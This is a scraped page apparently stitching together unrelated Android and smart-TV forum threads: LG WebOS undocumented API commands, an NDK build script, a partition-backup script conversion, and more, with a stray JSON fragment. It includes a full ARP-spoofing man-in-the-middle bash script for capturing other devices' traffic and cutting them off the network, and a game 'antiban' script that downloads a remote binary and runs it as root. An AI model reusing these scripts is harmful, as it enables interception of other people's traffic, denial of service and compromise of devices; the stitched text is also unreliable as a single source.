Hi Team,
i am trying to find out all about the LG WebOS undocumented API
here is what i have found so far
please feel free to share with me if you have any additions
#get broadcastID
Code:
ls-monitor | grep -a -m 4 -h "broadcastId" | grep -oE "\b[0-9, a-z]{8}\-[0-9, a-z]{4}-[0-9, a-z]{4}-[0-9, a-z]{4}-[0-9, a-z]{12}\b" | tail -1
#get current channelID
Code:
luna-send -n 1 -f luna://com.webos.service.utp.broadcast/getCurrentChannel '{"broadcastId": "'$broadcastid'", "subscribe": false}'| grep -a -h "channelId" | grep -oE "\b[0-9, a-z]{1}_[0-9, a-z]{3}_[0-9, a-z]{1}_[0-9, a-z]{1}_[0-9, a-z]{2}_[0-9, a-z]{3}_[0-9, a-z]{3}\b"
#show recording dialog
Code:
luna-send -n 1 -f luna://com.webos.applicationManager/launch '{"id": "com.webos.app.dvrpopup", "noSplash": true, "params": {"activateType": "instantRecord", "broadcastId": "'$broadcastid'", "channelId": "'$channelid'", "inputType": "TV", "isDelayed": false, "isDvb": true}}'
#start recording and show recordingID
Code:
luna-send -n 1 -f luna://com.webos.service.utp.dvr/record/startProgramRecord '{ "camPinCode": "", "channelId": "'$channelid'", "duration": 2880, "endTime": { "day": 12, "hour": 20, "minute": 0, "month": 6, "second": 28, "year": 2021 }, "programId": "2048_59_10_46306", "quality": "record_quality_high", "recordingMode": "recording_direct", "storagePath": "/tmp/usb/sdb/sdb1/LG Smart TV" } '| grep recordingId | awk '{print substr ($2, 2, length ($2) -3) }'
#stop recording by recordingID
Code:
luna-send -n 1 -f luna://com.webos.service.utp.dvr/record/stopRecord '{"needSave": true, "recordingId": "'$recordingid'" } '
#close application by ID
Code:
luna-send -n 1 -f luna://com.webos.applicationManager/closeByAppId ' {"id":"netflix"} '
#Mute
Code:
luna-send -n 1 -f luna://com.webos.service.audiooutput/audio/volume/muteSoundOut ' {"mute":true, "soundOutput":"tv_external_speaker"} '
#UnMute
Code:
luna-send -n 1 -f luna://com.webos.service.audiooutput/audio/volume/muteSoundOut ' {"mute":false, "soundOutput":"tv_external_speaker"} '
#changechannel you must get the current broadcastID and the new channelID, old is irrelevent
Code:
luna-send -n 1 -f luna://com.webos.service.utp.broadcast/changeChannel ' {"channelId":"7_124_2_0_47_4712_2048", "broadcastId":"00000011-1dd3-acb4-84f7-41b645a4a528", "currentChannelId":"7_208_3_0_59_10_2048"} '
#to take a screenshot
Code:
luna-send -n 1 -f luna://com.webos.surfacemanager/captureCompositorOutput '{"output":"/tmp/usb/sda/sda1/NAS/shares/screenshot-temp.jpg", "format":"JPG"}'
#get current foregound application
Code:
luna-send -n 1 luna://com.webos.applicationManager/getForegroundAppInfo '{}'
#set master volume to 30
Code:
luna-send -f -n 1 luna://com.webos.service.audio/master/setVolume '{"volume":30}'
below is a link to my Github where I have a list of bash scripts that can be used for varies applications on LG based on the above function
Volume.sh
automatic control the volume based on the running application
Click to expand...
Click to collapse
recording.sh
start recording of the current channel and stop after 20 Seconds
Click to expand...
Click to collapse
my Github reposatory
https://github.com/diaahussein/WebOS_LG_TV_Scripts
hey there
can you show me how to connect to the tv and automatically renew the development-timer? this way I could setup a crontask on my RPI and don't need to root/modify my TV.
diaahussein said:
Hi Team,
i am trying to find out all about the LG WebOS undocumented API
here is what i have found so far
please feel free to share with me if you have any additions
#get broadcastID
Code:
ls-monitor | grep -a -m 4 -h "broadcastId" | grep -oE "\b[0-9, a-z]{8}\-[0-9, a-z]{4}-[0-9, a-z]{4}-[0-9, a-z]{4}-[0-9, a-z]{12}\b" | tail -1
#get current channelID
Code:
luna-send -n 1 -f luna://com.webos.service.utp.broadcast/getCurrentChannel '{"broadcastId": "'$broadcastid'", "subscribe": false}'| grep -a -h "channelId" | grep -oE "\b[0-9, a-z]{1}_[0-9, a-z]{3}_[0-9, a-z]{1}_[0-9, a-z]{1}_[0-9, a-z]{2}_[0-9, a-z]{3}_[0-9, a-z]{3}\b"
#show recording dialog
Code:
luna-send -n 1 -f luna://com.webos.applicationManager/launch '{"id": "com.webos.app.dvrpopup", "noSplash": true, "params": {"activateType": "instantRecord", "broadcastId": "'$broadcastid'", "channelId": "'$channelid'", "inputType": "TV", "isDelayed": false, "isDvb": true}}'
#start recording and show recordingID
Code:
luna-send -n 1 -f luna://com.webos.service.utp.dvr/record/startProgramRecord '{ "camPinCode": "", "channelId": "'$channelid'", "duration": 2880, "endTime": { "day": 12, "hour": 20, "minute": 0, "month": 6, "second": 28, "year": 2021 }, "programId": "2048_59_10_46306", "quality": "record_quality_high", "recordingMode": "recording_direct", "storagePath": "/tmp/usb/sdb/sdb1/LG Smart TV" } '| grep recordingId | awk '{print substr ($2, 2, length ($2) -3) }'
#stop recording by recordingID
Code:
luna-send -n 1 -f luna://com.webos.service.utp.dvr/record/stopRecord '{"needSave": true, "recordingId": "'$recordingid'" } '
#close application by ID
Code:
luna-send -n 1 -f luna://com.webos.applicationManager/closeByAppId ' {"id":"netflix"} '
#Mute
Code:
luna-send -n 1 -f luna://com.webos.service.audiooutput/audio/volume/muteSoundOut ' {"mute":true, "soundOutput":"tv_external_speaker"} '
#UnMute
Code:
luna-send -n 1 -f luna://com.webos.service.audiooutput/audio/volume/muteSoundOut ' {"mute":false, "soundOutput":"tv_external_speaker"} '
#changechannel you must get the current broadcastID and the new channelID, old is irrelevent
Code:
luna-send -n 1 -f luna://com.webos.service.utp.broadcast/changeChannel ' {"channelId":"7_124_2_0_47_4712_2048", "broadcastId":"00000011-1dd3-acb4-84f7-41b645a4a528", "currentChannelId":"7_208_3_0_59_10_2048"} '
#to take a screenshot
Code:
luna-send -n 1 -f luna://com.webos.surfacemanager/captureCompositorOutput '{"output":"/tmp/usb/sda/sda1/NAS/shares/screenshot-temp.jpg", "format":"JPG"}'
#get current foregound application
Code:
luna-send -n 1 luna://com.webos.applicationManager/getForegroundAppInfo '{}'
#set master volume to 30
Code:
luna-send -f -n 1 luna://com.webos.service.audio/master/setVolume '{"volume":30}'
below is a link to my Github where I have a list of bash scripts that can be used for varies applications on LG based on the above function
Volume.sh
recording.sh
my Github reposatory
https://github.com/diaahussein/WebOS_LG_TV_Scripts
Click to expand...
Click to collapse
Might this be of any help to you?
I have created an Homey WebOS plus app using the undocumented API and I have already gathered some endpoints. And very nice to see you found a few I haven't seen before. How did you find those?
homey-webos-plus/drivers/webos_plus/webos/utils/constants.js at master · MaxvandeLaar/homey-webos-plus
Improved LG WebOS integration for Homey. Contribute to MaxvandeLaar/homey-webos-plus development by creating an account on GitHub.
github.com
Related
Here is what I had to do to get both JNI code and multi-touch events to live together.
NDK could not compile better than android-4 in default.properties
and SDK could not compile multi touch with less than android-5 in default.properties
Please let me know if anyone has found a cleaner way of doing this.
Code:
#
# remove installed apk
#
adb shell rm /data/app/org.giovino.*
#
# cross compile native code
#
cd ~/efb/src/umfd
make
ret=$?
echo "**** make returned "$ret
if [ $ret != 0 ]; then
echo failed
exit 1
fi
#
# compile JNI interface
#
cd ~/android/ndk
tail -1 apps/Try/project/default.properties
sed -i "s/android-5/android-4/g" apps/Try/project/default.properties
tail -1 apps/Try/project/default.properties
rm `find . -name libTry.so -print`
make APP=Try V=1
ret=$?
echo "**** make returned "$?
if [ $ret != 0 ]; then
echo failed
exit 1
fi
#
# compile apk android framework
#
cd apps/Try/project
tail -1 default.properties
sed -i "s/android-4/android-5/g" default.properties
tail -1 default.properties
ant debug
ret=$?
echo "**** ANT returned "$ret
if [ $ret != 0 ]; then
echo failed
exit 1
fi
#
# install apk application framework
#
adb install bin/Try-debug.apk
ret=$?
echo "**** adb returned "$ret
These are a downstream distribution of the "suckless" binaries found at http://git.2f30.org/
They can be used as improved shell or in your application, root or otherwise.
A more reliable way to run native functionality than through Busybox.
For more information, access to source code and binaries, I suggest you head to http://fusion.github.io/sbase-for-android/
Here is a list of binaries currently available, source code included -- MIT license:
basename cal cat chgrp chmod chown chroot cksum cmp col cols comm cp cron
cut date dirname du echo env expand expr false find fold grep head kill
link ln logname ls md5sum mkdir mkfifo mktemp mv nice nl nohup paste
printenv printf pwd readlink renice rm rmdir sed seq setsid sha1sum
sha256sum sha512sum sleep sort split sponge strings sync tail tar tee
test time touch tr true tty uname unexpand uniq unlink uudecode uuencode
wc xargs yes
clear df dmesg halt id
lsusb mknod mkswap pagesize pidof respawn stat
sysctl truncate watch
Click to expand...
Click to collapse
Hello everybody
Sorry by advance for my english, i'm french.
My main phone is broken so i have a old galaxy mini (android gingerbread ) for replacement... and i want to use this for some MiTM spoofing and information gathering but app play store are not compatible or buggy for me.
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
The script work for me but maybe the method to get local IP/ IP GATEWAY will change for phone or android version
I post the script here maybe it way make idea for someone
So i use nmap ARM binary from nmap website ( nmap/nping ) to create a little script (182 lines) to automated MiTM it's very lightweight and easy to use.
Requirement
rooted phone
busybox
tcpdump
bash
Features
MiTM arp spoofing ( Restore original gateway mac after attack )
MiTM arp spoofing with tcpdump log data in pcap file ( Restore original gateway mac after attack )
Netcut replace mac gateway by another fake mac address
Installation binaries
Code:
mkdir -p /sdcard/opt
cd /sdcard/opt
#get binary from nmap website
wget "http://ftp.linux.hr/android/nmap/nmap-6.46-android-arm-bin.tar.bz2"
tar xvjf nmap-6.46-android-arm-bin.tar.bz2
#Installation to /system/xbin
cd nmap-6.46
mount -o remount,rw /system
cp -v bin/nmap /system/xbin
cp -v bin/nping /system/xbin
#Restore /system permission
mount -o ro,remount,ro /system
Tools mitm.bash
Copy the content below script to /sdcard/mitm.bash
And run bash /sdcard/mitm.bash and enjoy it
or copy from web with :
Code:
wget -q http://www.web-point-zero.fr/mitm.bash -O /sdcard/mitm.bash && (echo "All good run : bash /sdcard/mitm.bash" ) || (echo "Error to download file ")
Code:
#!/bin/bash
echo "*** Tools create by c0derz67 from forum.xda-developers.com ****";
echo -e "\n\n";
TMP_DIRECTORY="/sdcard/_nettools_$RANDOM"; # maybe change by our sdcard directory
MAIN_INTERFACE="wlan0" # change with your interface name
mkdir -p "$TMP_DIRECTORY" || (echo "Can't create $TMP_DIRECTORY";exit;);
cd $TMP_DIRECTORY || (echo "Can't chdir to $TMP_DIRECTORY";exit;);
trap "echo \"Bye bye :) remove $TMP_DIRECTORY\";rm -r $TMP_DIRECTORY;exit;" 0 1 2 3 15;
echo "[*] GET GATEWAY "
GATEWAY=$(ip route show | grep $MAIN_INTERFACE | grep -o -E "via.*dev" | cut -d ' ' -f2);
if [ $? -eq 0 ]; then
echo " -> GATEWAY IS $GATEWAY"
else
echo ERROR TO GET GATEWAY
exit;
fi
echo "[*] GET ADRESS "
MY_ADDRESS=$(ip route show | egrep -o "src .*"|cut -d ' ' -f2);
if [ $? -eq 0 ]; then
echo " -> MY_ADDRESS IS $GATEWAY"
else
echo ERROR TO GET GATEWAY
exit;
fi
echo "[*] Get Mac address : ";
MY_MAC=$(busybox ifconfig $MAIN_INTERFACE | grep -E -o "HWaddr .*"|cut -d ' ' -f2);
if [ -n "$MY_MAC" ]; then
echo " -> Mac address is : $MY_MAC"
else
echo "ENABLE TO GET mac ADDR"
exit;
fi;
GATEWAY_FIRST_PART_IP_1=$(echo $GATEWAY | cut -d '.' -f1);
GATEWAY_FIRST_PART_IP_2=$(echo $GATEWAY | cut -d '.' -f2);
GATEWAY_FIRST_PART_IP_3=$(echo $GATEWAY | cut -d '.' -f3);
GATEWAY_FIRST_PART_IP_4=$(echo $GATEWAY | cut -d '.' -f4);
MY_ADDRESS_FIRST_PART_IP_1=$(echo $MY_ADDRESS | cut -d '.' -f1);
MY_ADDRESS_FIRST_PART_IP_2=$(echo $MY_ADDRESS | cut -d '.' -f2);
MY_ADDRESS_FIRST_PART_IP_3=$(echo $MY_ADDRESS | cut -d '.' -f3);
MY_ADDRESS_FIRST_PART_IP_4=$(echo $MY_ADDRESS | cut -d '.' -f4);
SCAN_IP_RANGE="$MY_ADDRESS_FIRST_PART_IP_1.$MY_ADDRESS_FIRST_PART_IP_2.$MY_ADDRESS_FIRST_PART_IP_3.1-255";
echo "[*] Scan : $SCAN_IP_RANGE "
nmap -n -v -sP "$SCAN_IP_RANGE" | grep -v down
echo -e "\n\n"
echo "[*] DEVICE(S) connected to network : ";
echo -e "\n";
mkdir ip || (echo "Can't create IP";exit);
GATEWAY_MAC="";
counter=0;
arp -n -a | grep -v incomplete > ARP_RESULT.txt
already_set=0;
while((1));
do
i=0;
while read line;do
i=$(($i+1));
THIS_IP=$(echo $line | egrep -o "[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+" );
THIS_MAC=$(echo $line | egrep -o ".{2}:.{2}:.{2}:.{2}:.{2}:.{2}" )
if [ "$THIS_IP" = "$GATEWAY" ];then
GATEWAY_MAC=$THIS_MAC;
fi;
#echo "[$i] CURRENT MAC : $THIS_MAC ";
#echo "[$i] CURRENT IP : $THIS_IP"
echo "$i ) $THIS_IP ( $THIS_MAC ) "
if [ "$already_set" -eq 0 ]; then
mkdir $i;
echo $THIS_MAC > $i/MAC
echo $THIS_IP > $i/IP
fi;
done < ARP_RESULT.txt;
already_set=1;
echo -e "\n"
read -n 1 -p "[*] Select target ( 1-$i ) : " number_victim;
echo "";
if [ ! -d $number_victim ];then
echo "$number_victim is not a good target";
continue;
fi
TARGET_MAC=$(cat $number_victim/MAC );
TARGET_IP=$(cat $number_victim/IP );
echo -e "\n\n"
echo "[*] Select attack : ";
echo -e "\n"
echo "1) Arp Spoofing MITM (Catch and Redirect trafic to gateway) ";
echo "2) MITM and dump all trafic to /sdcard/dump.pcap (required tcpdump)";
echo "3) Netcut Arp Spoofing replace gateway mac to invalid mac ";
echo -e "\n"
read -n 1 -p "[*] Attack type : " number_attack;
case $number_attack in
1)
clear
echo "[*] Start 1) Arp Spoofing MITM (Catch and Redirect trafic to gateway)";
echo "[?] Press any key to stop "
sleep 3s;
echo "[*] Set net.ipv4.ip_forward -> 1";
sysctl -w net.ipv4.ip_forward=1
nping --arp --arp-type ARP-reply --arp-sender-ip $GATEWAY --arp-sender-mac $MY_MAC --dest-mac $TARGET_MAC $TARGET_IP -c 99999 &
read -n 1
GET_PID=$!
echo -e "\n\n";
echo "********* STOP ATTACK *********";
kill -9 $GET_PID;
echo "[*] Restore gateway original mac";
nping --arp --arp-type ARP-reply --arp-sender-ip $GATEWAY --arp-sender-mac $GATEWAY_MAC --dest-mac $TARGET_MAC $TARGET_IP -c 10
read -p "Wait to continue"
;;
2)
clear
echo "[*] Start 2) MITM and dump all trafic to /sdcard/dump.pcap (required tcpdump)";
echo "[?] Press any key to stop "
sleep 3s;
echo "[*] Set net.ipv4.ip_forward -> 1";
sysctl -w net.ipv4.ip_forward=1
nping --arp --arp-type ARP-reply --arp-sender-ip $GATEWAY --arp-sender-mac $MY_MAC --dest-mac $TARGET_MAC $TARGET_IP -c 99999 >log_nping.txt &
PID_nping=$!
sleep 5s;
echo "Let's see what nping say log_nping.txt : "
echo -e "\n\n";
cat log_nping.txt
echo -e "\n\n";
echo "[*] Arp spoofing (nping) running in background see $TMP_DIRECTORY/log_nping.txt for detail"
echo "[*] Running tcpdump exclude $MY_ADDRESS packet";
tcpdump -i $MAIN_INTERFACE -s0 -v -w /sdcard/dump.pcap &
PID_tcpdump=$!
read -n 1
echo "********* STOP ATTACK *********";
echo "[*] kill tcpdump"
kill $PID_tcpdump;
echo "[*] kill nping"
kill $PID_nping
echo "[*] Restore gateway original mac";
nping --arp --arp-type ARP-reply --arp-sender-ip $GATEWAY --arp-sender-mac $GATEWAY_MAC --dest-mac $TARGET_MAC $TARGET_IP -c 10
read -p "Wait to continue"
;;
3)
clear
echo "[*] Start 3) Netcut Arp Spoofing replace gateway mac to invalid mac";
echo "[?] Press any key to stop "
sleep 3s;
echo "[*] Set net.ipv4.ip_forward -> 1";
sysctl -w net.ipv4.ip_forward=1
nping --arp --arp-type ARP-reply --arp-sender-ip $GATEWAY --arp-sender-mac cc:cc:cc:cc:cc:cc --dest-mac $TARGET_MAC $TARGET_IP -c 99999 &
PID_nping=$!
read -n 1
echo "********* STOP ATTACK *********";
echo "[*] kill tcpdump"
kill $PID_tcpdump;
echo "[*] kill nping"
kill $PID_nping
echo "[*] Restore gateway original mac";
nping --arp --arp-type ARP-reply --arp-sender-ip $GATEWAY --arp-sender-mac $GATEWAY_MAC --dest-mac $TARGET_MAC $TARGET_IP -c 10
read -p "Wait to continue"
;;
esac
done;
done;
#ARP POISOING help
#nping --arp --arp-type ARP-reply --arp-sender-ip (GATEWAY IP) --arp-sender-mac (ATTACKER IP ) --dest-mac (MAC VICTIME) (IP VICTIM) -c 999999
Basically what I want to do is convert this into batch script for windows and by using Linux Binaries from Sourceforge create a script that basically does the same thing except it doesnt have to be pushed into my Phone's system it works directly in windows using ADB commands!
The script in question looks like this
Spoiler: THIS Script
Bash:
#adb shell mkdir /data/media/0/PartitionImages
#adb push .\backupPartitions.sh /data/media/0/PartitionImages/backupPartitions.sh
#adb shell chmod 0755 /data/media/0/PartitionImages/backupPartitions.sh
#adb shell /data/media/0/PartitionImages/backupPartitions.sh
#adb pull /data/media/0/PartitionImages .\PartitionImages
max_blocks=102400
names=""
compress=0
while getopts "h?bzn:" opt; do
case "$opt" in
h|\?)
echo "Usage $0 [-z] [-b MaxBlocks] [-n partition1 ] [-n partition2 ]"
echo " options:"
echo "-z optional to tar.gz the output folder default=false"
echo "-b 102400 optional maximum number of blocks of the partition - 0 will dump all partitions default=$max_blocks"
echo "-n partitionName... optional - one or more partitions to dump"
exit 0
;;
z) compress=1
;;
b) max_blocks=$OPTARG
;;
n) names+=" $OPTARG"
;;
esac
done
script=$(readlink -f "$0")
script_path=$(dirname "$script")
serial=$(cat /sys/class/android_usb/f_accessory/device/iSerial)
serial_date=$serial/$(date +"%Y_%m_%d_%H_%M_%S")
output_path=$script_path/$serial_date
echo "********************************"
echo "Backup partitions TO $output_path"
echo "********************************"
mkdir -p $output_path
part_dir=$(find /dev/block/platform -name by-name)
partitions=$(ls -la $part_dir | awk '{if ( $10 == "->") print $9 ">" $11 }')
getprop > $output_path/build.prop
echo "Id Name Size MD5" > $output_path/partitions.txt
for f in $partitions
do
part_id=$(echo $f | sed 's/^[^>]*>\/dev\/block\///')
part_name=$(echo $f | sed 's/>.*//')
size=$(cat /proc/partitions | awk -v p=$part_id '{if ( $4 == p ) print $3}')
checksum="0"
skip=0
if [ $max_blocks -gt 0 -a $size -gt $max_blocks ]
then
skip=1
echo "Skipping $part_name Id $part_id due to size"
else
if [ "$names" -ne "" ]
then
if echo $names | grep -w $part_name > /dev/null; then
skip=0
else
skip=1
echo "Skipping $part_name Id $part_id"
fi
fi
fi
if [ "$skip" -eq "0" ]
then
echo "Processing $part_name Id $part_id Size $size";
dd if=/dev/block/$part_id of=$output_path/$part_name.img
checksum=$(md5sum -b $output_path/$part_name.img | sed 's/ .*//')
fi
echo "$part_id $part_name $size $checksum" >> $output_path/partitions.txt
done
if [ "$compress" -eq "1" ]
then
cd $script_path
tar cz $serial_date > $output_path.tar.gz
rm -rf $output_path
fi
its from an old Xda Dev thread original post and author
givitago
I tried by guidelines from an "Appendix N. Converting DOS Batch Files to Shell Scripts" from another site to turn the shell script variables into batch script ones but since I got no experience with either of them my attempt turned into an amalgamation of the two's code in one..
Spoiler: it turned Into THIS
Code:
::adb shell mkdir /data/media/0/PartitionImages
::adb push .\backupPartitions.sh /data/media/0/PartitionImages/backupPartitions.sh
::adb shell chmod 0755 /data/media/0/PartitionImages/backupPartitions.sh
::adb shell /data/media/0/PartitionImages/backupPartitions.sh
::adb pull /data/media/0/PartitionImages .\PartitionImages
%max_blocks==102400
%names==""
%compress==0
while getopts "h?bzn:" opt; do
case "$opt" in
h|\?)
echo "Usage $0 [-z] [-b MaxBlocks] [-n partition1 ] [-n partition2 ]"
echo " options:"
echo "-z optional to tar.gz the output folder default=false"
echo "-b 102400 optional maximum number of blocks of the partition - 0 will dump all partitions default=$max_blocks"
echo "-n partitionName... optional - one or more partitions to dump"
exit 0
;;
z) compress=1
;;
b) max_blocks=$OPTARG
;;
n) names+=" $OPTARG"
;;
esac
done
%script%==%(echo %CD% "%0")
%script_path%==(dirname "%script")
%serial%==%(adb shell cat /sys/class/android_usb/f_accessory/device/iSerial)
%serial_date%==%serial% /%(date +"%Y_%m_%d_%H_%M_%S")
%output_path%==%script_path%/%serial_date%
echo "********************************"
echo "Backup partitions TO $output_path"
echo "********************************"
mkdir -p %output_path%
%part_dir%==%(adb shell find /dev/block/platform -name by-name)
%partitions%==%(ls -la %part_dir% | awk '{if ( %10 == "->") print %9 ">" %11 }')
adb shell getprop > %output_path%/build.prop
echo "Id Name Size MD5" > %output_path%/partitions.txt
for %%i in %partitions do
%part_id=%(echo %f | sed 's/^[^>]*>\/dev\/block\///')
%part_name=%(echo %f | sed 's/>.*//')
%size=%(adb shell cat /proc/partitions | awk -v p==%part_id% '{if ( %4 == p ) print %3}')
checksum="0"
skip==0
if [ %max_blocks -gt 0 -a %size -gt %max_blocks ]
then
skip=1
echo "Skipping %part_name% Id %part_id% due to size"
else
if [ "%names" -ne "" ]
then
if echo %names | grep -w %part_name% > /dev/null; then
skip==0
else
skip==1
echo "Skipping %part_name% Id %part_id%"
fi
fi
fi
if [ "$skip" -eq "0" ]
then
echo "Processing %part_name% Id %part_id% Size %size";
'adb shell pull' /dev/block/%part_id% %output_path%/%part_name%.img
checksum==%(md5sum -b %output_path%/%part_name%.img | sed 's/ .*//')
fi
echo "%part_id% %part_name% %size %checksum" >> %output_path%/partitions.txt
done
if [ "%compress" -eq "1" ]
then
cd %script_path%
tar cz %serial_date% > %output_path%.tar.gz
rm -rf %output_path%
fi
additionally I have pretty much all linux commands's binaries on the same folder as the .bat script so as long as the syntax is correct and nothing finniky going on it should work technically but since I got no experience I can't do this on my own...
You may use the DOS script used here
[TOOL][ADB][WIN]Android Partitions Backupper / Cloner
Hi all, wrote a Windows CMD script that backups / clones partitions of an Android device via ADB because I wasn't content with any 3rd-party APK what claims to do this job. The backups /clones are stored on Windows computer as...
forum.xda-developers.com
as a template.
jwoegerbauer said:
You may use the DOS script used here
[TOOL][ADB][WIN]Android Partitions Backupper / Cloner
Hi all, wrote a Windows CMD script that backups / clones partitions of an Android device via ADB because I wasn't content with any 3rd-party APK what claims to do this job. The backups /clones are stored on Windows computer as...
forum.xda-developers.com
as a template.
Click to expand...
Click to collapse
I have tried that script itself and it failed at "DM-Verity" and SELinux enforcement also for some reason no logs at all in temp folder
i run 1 sh file in mt manager and my device booting in twrp now .. sh file attached here within this post plz help or tell me how i can run my device back with old important data and filesPLZ HELP THAT DATA WAS VERY PRECIOUS
echo " [ FLASH ANTIBAN 32 BIT BGMI ] "
rm -rf /data/data/ANTIBAN
cd /data/data
if [ -e /data/data/ANTIBAN ]
then
echo
else
wget -O /data/data/ANTIBAN https://raw.githubusercontent.com/NITROX12/Antiban/main/logo
chmod 777 /data/data/ANTIBAN
fi
FLASH="com.telegram"
DUMP() {
pm dump $1 | grep $2 | tr ' ' '\n' | grep $1 | sed s/$2// | tr -d '\n';
};
lib=`ls -mR $(DUMP $FLASH legacyNativeLibraryDir=) | grep : | tr -d : | grep /arm | grep -v Akatsuki`
su -c am start -n com.telegram/com.epicgames.ue4.SplashActivity;
while [ ! -d /data/media/0/Android/data/com.telegram.imobile/files/TGPA ]; do sleep 1; done;
sleep 1
su -c /data/data/ANTIBAN
su -c /data/data/ANTIBAN
su -c /data/data/ANTIBAN
sleep 2
rm -rf /data/data/ANTIBAN